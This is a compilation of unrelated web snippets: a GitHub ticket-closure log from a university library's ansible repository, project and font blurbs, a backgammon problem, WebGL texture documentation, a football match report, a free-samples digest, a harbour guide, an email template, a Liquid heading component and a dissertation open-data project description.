Currently set to https://github.com/pulibrary/princeton_ansible/blob/dc2c2934d0c3b9d828caae241d5d6e896a4a03e1/group_vars/lib_jobs/prod.yml#L6 Fixed.
closed
by Alicia Cozine at 2022-01-11 17:45:22.closed
by Alicia Cozine at 2022-01-11 17:46:31.If we come up with a use case for this, let's open a fresh ticket with more details.
closed
by Alicia Cozine at 2022-01-11 17:49:44.Done: https://github.com/pulibrary/princeton_ansible/blob/dc2c2934d0c3b9d828caae241d5d6e896a4a03e1/group_vars/figgy/staging.yml#L89-L92 https://github.com/pulibrary/princeton_ansible/blob/dc2c2934d0c3b9d828caae241d5d6e896a4a03e1/group_vars/figgy/staging.yml#L14
closed
by Alicia Cozine at 2022-01-11 17:52:19.Add custom 404 error page that directs users to CDH when the service is down.
Closed by #2593.
closed
by Alicia Cozine at 2022-01-11 17:56:44.It's the NginxPlus error page, and it currently remains cached for a while.
@christinach is this still relevant / something you want us to do?
mentioned
by Christina Chortaria at 2022-01-11 17:59:44.subscribed
by Christina Chortaria at 2022-01-11 17:59:44.Still running Xenial.
Related to #2619 and #2620.
Closing this ticket, since the bibdata ticket was closed. If we still need to do this work, open a fresh ticket.
closed
by Alicia Cozine at 2022-01-11 18:04:08.Closing as obsolete, since we are using a hosted solution now.
closed
by Alicia Cozine at 2022-01-11 18:04:40.Won't fix - we are getting rid of this role RSN.
closed
by Alicia Cozine at 2022-01-11 18:06:02.We don't have VMs for this project any more. Closing as obsolete.
closed
by Alicia Cozine at 2022-01-11 18:07:20.Done!
closed
by Alicia Cozine at 2022-01-11 18:07:47.No. No, we do not.
Closed in #2251.
closed
by Alicia Cozine at 2022-01-11 18:08:49.Addressed by either #2289 or #2294.
Hm, well, not those PRs, but it is fixed: https://github.com/pulibrary/princeton_ansible/blob/dc2c2934d0c3b9d828caae241d5d6e896a4a03e1/roles/samba/tasks/samba_server.yml#L19. Probably #2313.
closed
by Alicia Cozine at 2022-01-11 18:10:42.If a user hits the library website, only the load balancer currently records the user's IP. Set apache on these VMs to accept the X-forwarded-for headers
that pass those IPs from NginxPlus to the VMs.
Not using Percona any more. Closing as obsolete.
closed
by Alicia Cozine at 2022-01-11 18:20:37.We don't use Percona any more. Closing as obsolete.
closed
by Alicia Cozine at 2022-01-11 18:20:58.All this infrastructure has been rebuilt. Closing as obsolete.
closed
by Alicia Cozine at 2022-01-11 18:21:41.@christinach does https://github.com/pulibrary/princeton_ansible/blob/main/playbooks/orangelight_alma_prod.yml close this ticket / address this need?
mentioned
by Christina Chortaria at 2022-01-11 18:23:37.subscribed
by Christina Chortaria at 2022-01-11 18:23:37.Done. This was relevant when we moved the library website temporarily into the cloud. Closing as obsolete.
closed
by Alicia Cozine at 2022-01-11 18:24:53.We no longer have a DSpace role. Closing as obsolete.
closed
by Alicia Cozine at 2022-01-11 18:25:47.May still be happening, but we should open a new ticket when we have more details (which server, conditions, etc.).
closed
by Alicia Cozine at 2022-01-11 18:28:49.@christinach should this have been closed with #1562 got merged? Or is there more work to be done?
mentioned
by Christina Chortaria at 2022-01-11 18:32:00.subscribed
by Christina Chortaria at 2022-01-11 18:32:00.This vm does not exist any more. Closing as irrelevant.
The use case was capistrano -- see https://github.com/pulibrary/orangelight/blob/4cd055fe22558d0e3d56f89e321522b6209698f0/config/deploy.rb#L99-L105
I checked one of the new catalog boxes and the service is running under the deploy user.
closed
by Alicia Cozine at 2022-01-11 17:40:33.@hackartisan I asked him to put it here because this is where the other similar docs were. I suggest we wordsmith it here this time and we can move everything to docs
generally after
@acozine Thanks for the suggestion! I adopted most of the updates and added some info about where to find the Source Metadata Identifier and where it's used in the export process.
Sounds good
mentioned
by None at 2022-01-11 17:53:30.subscribed
by None at 2022-01-11 17:53:30.mentioned
by Alicia Cozine at 2022-01-11 18:03:14.subscribed
by Alicia Cozine at 2022-01-11 18:03:14.closed
by Hector Correa at 2022-01-11 22:25:33.referenced
by Hector Correa at 2022-01-11 22:25:32.merged
by Hector Correa at 2022-01-11 22:25:32.closed
by Hector Correa at 2022-01-11 22:25:33.head_ref_deleted
by Hector Correa at 2022-01-11 22:25:34.assigned
by None at 2022-01-11 16:32:15.referenced
by None at 2022-01-11 16:32:31.Will review these to prepare for migration to D9. Only move roles that are useful.
assigned
by Kevin Reiss at 2022-01-11 16:49:49.Oops discoveryutils no underscore was already in there. I'm going to close this PR and open one just for friends.
head_ref_force_pushed
by None at 2022-01-11 18:07:12.closed
by None at 2022-01-11 18:20:24.referenced
by Christina Chortaria at 2022-01-11 18:24:35.merged
by Christina Chortaria at 2022-01-11 18:24:35.closed
by Christina Chortaria at 2022-01-11 18:24:35.head_ref_deleted
by Christina Chortaria at 2022-01-11 18:24:36.referenced
by Trey Pendragon at 2022-01-11 04:43:39.merged
by Trey Pendragon at 2022-01-11 04:43:39.closed
by Trey Pendragon at 2022-01-11 04:43:39.head_ref_deleted
by Trey Pendragon at 2022-01-11 04:43:40.labeled
by None at 2022-01-11 19:52:05.@sdellis There's a failing test, and can you post a screenshot?
mentioned
by Shaun Ellis at 2022-01-12 02:03:40.subscribed
by Shaun Ellis at 2022-01-12 02:03:40.mentioned
by Kate Lynch at 2022-01-11 14:38:35.subscribed
by Kate Lynch at 2022-01-11 14:38:35.It might be prudent to note that this consumed approximately 3 hours (but this requires that only I do this, as one requires extensive permissions for two OIT service account).
I apologize for neglecting to update this. I have been tracking my prototype repository at the following: https://github.com/jrgriffiniii/browse-everything1.2/tree/migrate-lib
assigned
by James R. Griffin III at 2022-01-11 14:36:21.labeled
by Trey Pendragon at 2022-01-11 22:40:42.assigned
by Trey Pendragon at 2022-01-11 22:40:57.referenced
by Trey Pendragon at 2022-01-11 23:23:47.ready_for_review
by Trey Pendragon at 2022-01-11 23:38:34.


Neotron
A family of simple, ARM-powered home computers with a ROM written in Rust Programming Language.
Neotron is an attempt to make computers simple again, whilst also taking advantage of the very latest in programming language development. We are saddened by chat clients that require multi-Gigabyte installs, and systems with hundreds of millions of lines of source code that no one person could ever hope to understand. We want to build a machine that is sized for an individual to comprehend, not a trillion-dollar corporation.
If you want a pithy sound-bite, it's like CP/M for tiny ARM microcontrollers, but written in Rust.
Show me the source. I want to read the manual.


Changa is intended for text usage, with its short ascenders and descenders and a set of lowercase letters inscribed within a square. The uppercase letters gains slightly more in height form a single height so that typographers can set text with minimum line spacing.
Changa One is also available, the initial style that is an extra-bold sister family intended for display usage.
In November 2019, it was updated with a Variable Font "Weight" axis.
To contribute, see github.com/eliheuer/changa-vf.


Unlimited Games. How should Red play 33?
pips Red=173 White=160
(CorrectAnswer= 0/0, ErrorScore= 0)
After bar/22 the best point to make is White’s bar-point with 21/18(2), giving Red a key communication point. The final three would then be played 6/3.
This is better than making the 10-pt because that move could strand the three rear checkers and leave Red’s forces disconnected.
In fact, bar/22, 13/10(2), 6/3 is very nearly a blunder. Remember, good communication is normally a key element of a strong backgammon position
This is better than making the 10-pt because that move could strand the three rear checkers and leave Red’s forces disconnected.
In fact, bar/22, 13/10(2), 6/3 is very nearly a blunder. Remember, good communication is normally a key element of a strong backgammon position
1. Cubeful 2-ply bar/22 21/18(2) 6/3 Eq.: -0.233 0.444 0.071 0.002 - 0.556 0.125 0.004 2. Cubeful 2-ply bar/22 13/10(2) 6/3 Eq.: -0.286 (-0.053) 0.420 0.072 0.002 - 0.580 0.112 0.004 3. Cubeful 2-ply bar/22 13/4 Eq.: -0.340 (-0.106) 0.400 0.068 0.002 - 0.600 0.104 0.003 4. Cubeful 2-ply bar/22 21/18(2) 13/10 Eq.: -0.377 (-0.144) 0.407 0.074 0.002 - 0.593 0.154 0.005 5. Cubeful 2-ply bar/22 13/10 6/3(2) Eq.: -0.407 (-0.174) 0.388 0.076 0.003 - 0.612 0.135 0.004


TODO - texture support has been broken out into separate Texture classes,
but documentation is not yet up to date.
For now, please refer directly to src/webgl/texture.js
Program Method: setTexture
This method is used to either bind/unbind an existing texture or also
to create a new texture form an Image element or
to create an empty texture with specified dimensions.
Also, for all properties set to a texture, these properties are
remembered so they’re optional for later calls.
Syntax:
program.setTexture(name[, options]);
Arguments:
name - (string) The name (unique id) of the texture.
options - (mixed) Can be a boolean or enum used to bind/unbind the
texture (or set the enum as active texture) or an object with options/data
described below:
Options:
textureType - (enum, optional) The texture type used to call gl.bindTexture with. Default’s gl.TEXTURE_2D.
pixelStore - (array, optional) An array of objects with name, value options to be set with gl.pixelStorei calls.
Default’s [{ name: gl.UNPACK_FLIP_Y_WEBGL, value: true }].
parameters - (array, optional) An array of objects with nane, value options to be set with gl.texParameteri.
Default’s [{ name: gl.TEXTURE_MAG_FILTER, value: gl.NEAREST }, { name: gl.TEXTURE_MIN_FILTER, value: gl.NEAREST }].
data - (object, optional) An object with properties described below:
format - (enum, optional) The format used for gl.texImage2D calls. Default’s gl.RGBA.
value - (object, optional) If set to an Image object then this image will be used to fill the texture. Default’s false. If no image is set then we might want to set the width and height of the texture.
width - (number, optional) The width of the texture. Default’s 0.
height - (number, optional) The height of the texture. Default’s 0.
border - (number, optional) The border of the texture. Default’s 0.
Examples:
Setting a texture for a box. Adapted from
[lesson 6]http://uber.github.io/luma.gl/examples/lessons/6/).
Program Method: setTextures
For each key, value of the object passed in it executes setTexture(key, value).
Syntax:
program.setTextures(object);
Arguments:
object - (object) An object with key value pairs matching a texture name and its value respectively.
Examples:
Set multiple type of textures from the same image. Taken from
[lesson 6]http://uber.github.io/luma.gl/examples/lessons/6/).


Amazulu out of relegation zone with win over Stellenbosch
Cape Town - A double from Bongi Ntuli at the Princess Magogo Stadium led AmaZulu to a 2-0 win over Stellenbosch in the Absa Premiership on Wednesday night.
The home team applied some pressure early on in the tie as Andre De Jong carved out some space for himself just outside the box, but his shot was comfortable saved by Boy De Jong.
Usuthu were rewarded for their attacking exploits in the 13th minute when Ntuli slotted a penalty to put his team in the lead.
The pressure continued to mount on Stellenbosch and Samuel Darpoh threatened to double AmaZulu's advantage when he dribbled through the heart of the traveling outfit's midfield only to drill his shot off target.
Shortly before the break Siyethemba Sithebe showcased his slick footwork as he slipped into some space in the Stellenbosch box, but De Jong got down well to make the stop.
AmaZulu maintained control over the game after the break and created another great chance in the 78th minute. Ntuli was in the thick of the action again and he crossed into the box from the right to find Lehlohonolo Majoro whose shot was parried away.
In the 90th minute the result was finally put to bed as the home team netted their second goal of the night. It was once again Majoro and Ntuli who combined to the delight of their supporters. Majoro set it up for Ntuli who made no mistake with his finish as he completed a brace.
The victory sees AmaZulu clinch their third win of the league campaign and move out of the relegation zone.


SweetFreeStuff.com
///////////////////////////////////////////
Free Subscription to Editor & Publisher
Posted: 10 Sep 2013 09:45 AM PDT
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/af5pjO5xRD0/?utm_source=feedburner&utm_medium=email
Sign up for a free subscription to Editor Publisher magazine.
The post Free Subscription to Editor Publisher appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Sample of Energems
Posted: 10 Sep 2013 09:42 AM PDT
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/ygaZ0CixUfg/?utm_source=feedburner&utm_medium=email
Great tasting energy, made with real milk chocolate. Like their Facebook
page to try a free sample of Energems.
The post Free Sample of Energems appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
Free Snapple Brew Over Ice K-Cup Pack
Posted: 10 Sep 2013 09:32 AM PDT
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/Kwg7cLOa38s/?utm_source=feedburner&utm_medium=email
Another free sample of Snapple K-Cups, this time from Target.com.
The post Free Snapple Brew Over Ice K-Cup Pack appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Peperoni Calzone at Thorntons Stores
Posted: 10 Sep 2013 01:34 AM PDT
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/fw1f8UooxvE/?utm_source=feedburner&utm_medium=email
Print or scan the coupon on your mobile device to redeem a Free Pepperoni
Calzone at Thorntons. Good through 9/16. View Locations.
The post Free Peperoni Calzone at Thorntons Stores appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Clear Men Scalp Therapy Sample
Posted: 10 Sep 2013 12:00 AM PDT
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/Sm4_R0gs5XY/?utm_source=feedburner&utm_medium=email
Like their Facebook page for the sample. First 90k. Free Clear Men Scalp
Therapy Sample
The post Free Clear Men Scalp Therapy Sample appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Sample of Maxwell House Coffee Creamer
Posted: 09 Sep 2013 02:58 PM PDT
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/L3z-K4am1ow/?utm_source=feedburner&utm_medium=email
Free Sample of Maxwell House Coffee
The post Free Sample of Maxwell House Coffee Creamer appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Airborne Immune Support Supplement Sample
Posted: 09 Sep 2013 12:46 PM PDT
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/B8eqXvaUv4I/?utm_source=feedburner&utm_medium=email
Packed with 13 vitamins, minerals and herbs to help support your immune
system. Request a free Airborne sample from Target.com!
The post Free Airborne Immune Support Supplement Sample appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Reminder: $50 Zappos Gift Card Givaway from Sweet Free Stuff!!!
Posted: 09 Sep 2013 08:01 AM PDT
http://feedproxy.google.com/&;r/SweetFreeStuff/&;3/JevhRPZ5OsY/?utm_source=feedburner&utm_medium=email
Click Here to Enter the Giveaway!
The post Reminder: $50 Zappos Gift Card Givaway from Sweet Free Stuff!!!
appeared first on SweetFreeStuff.com.


This ancient fishing port, birthplace of the famous explorer and navigator, James Cook, is becoming increasingly popular with yachts.
Whitby : © Andrus S/Y Suwena
There are now extra pontoons in the Upper (inner) harbour. The harbour is dredged to a minimum depth of 1.5m which allows most yachts to enter at any state of the tide. A useful feature on this wild stretch of coast. Beware of the strong cross tide at the entrance.
Whitby Yacht Club has a pontoon in the Lower (outer) harbour, near the RNLI lifeboat station, which visiting yachts can use with prior arrangement. There is also usually plenty of room to berth alongside the harbour wall to sta'bd. The bridge into the inner harbour opens on request each half hour during HW +/-2hrs.
Last updated January 2015.


{{SUBJECT Your request is in progress}}
Hi,
The {{type}} request for "{{title}}" has been sent to the author. We apologise that it took so long to get your request moving. We're now trying to approve requests within 24 hours. You can view and share your request here: https://openaccessbutton.org/request/{{_id}}.
Kind regards,
Natalia
Open Access Button Request Manager


{% capture component %}
{% if include.children %}
{{ include.children }}
{% endif %}
{% endcapture %}
{% capture name %}Heading{% endcapture %}
{% capture liquid %}{% raw %}
{% include atoms/heading.html
children="About this section"
classes=""
level="2"
%}
{% endraw %}{% endcapture %}
{% capture usage %}
#### General guidance
Headings provide your document with an hierarchical outline.
* Avoid skipping heading levels: always start from `
`, next use `
` and so on
* You should only use one `
` per page. Using more than one will not result in an error, but using only one is seen
as a best practice. It makes logical sense — `
` is the most important heading, and tells you what the purpose of the
overall page is. You wouldn't have a book with more than one title, or a movie with more than one name! Having a single
top-level title is also arguably better for screenreader users, and SEO
@see [MDN article on h1-h6](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/Heading_Elements)
{% endcapture %}
{% capture accessibility %}
A common navigation technique for users of screen reading software is jumping from heading to heading to quickly determine
the content of the page. Because of this, it is important to not skip one or more heading levels. Doing so may create confusion,
as the person navigating this way may be left wondering where the missing heading is.
{% endcapture %}
{% capture props %}
children| The textual content of the heading| New section,
classes| css classes applied to parent| color--main-dark,
level| Number from 1-6 for the heading level| 2
{% endcapture %}
{% assign classes = "a11y--visually-hidden, color--main, color--second-dark, font-family--primary, font-family--secondary, heading--h1, heading--h3" | split: ", " %}
{% if include.mode == "docblock" %}
{% include molecules/docblock.html
accessibility=accessibility
classes=classes
html=component
liquid=liquid
name=name
props=props
source=include
usage=usage
%}
{% else %}
{{ component }}
{% endif %}


This project has two main objectives:
- Make the information kept at teseo available as Open Data.
- Perform different analyses over the previous data to understand them.
Teseo is a Doctoral Dissertation database maintained by the Spanish Ministry of Education, keeping records for the dissertations defended in Spain since 1977. Teseo's website provides different forms to query the database, but makes it difficult for automatic processing.
Some of performed work involves:
- Gender dissambiguation for authors and panel members. The process is automatized, so some names could be wrongly assigned a gender.
- Dissertations are tagged with different topics, from UNESCO's 6-digit nomenclature for fields of science and technology. Topic distribution for different levels of granularity is available.
- People with the same full name, or with a high probability of being the same person (acronyms, abbreviations, etc.) are assigned to be the same person entity.
- Analyses are visualized through interactive charts to make them understandable by any user. The Info button on the top of each chart provides an extended explanation of the rendered data.
All the source code of this website is openly available in the project's GitHub repository.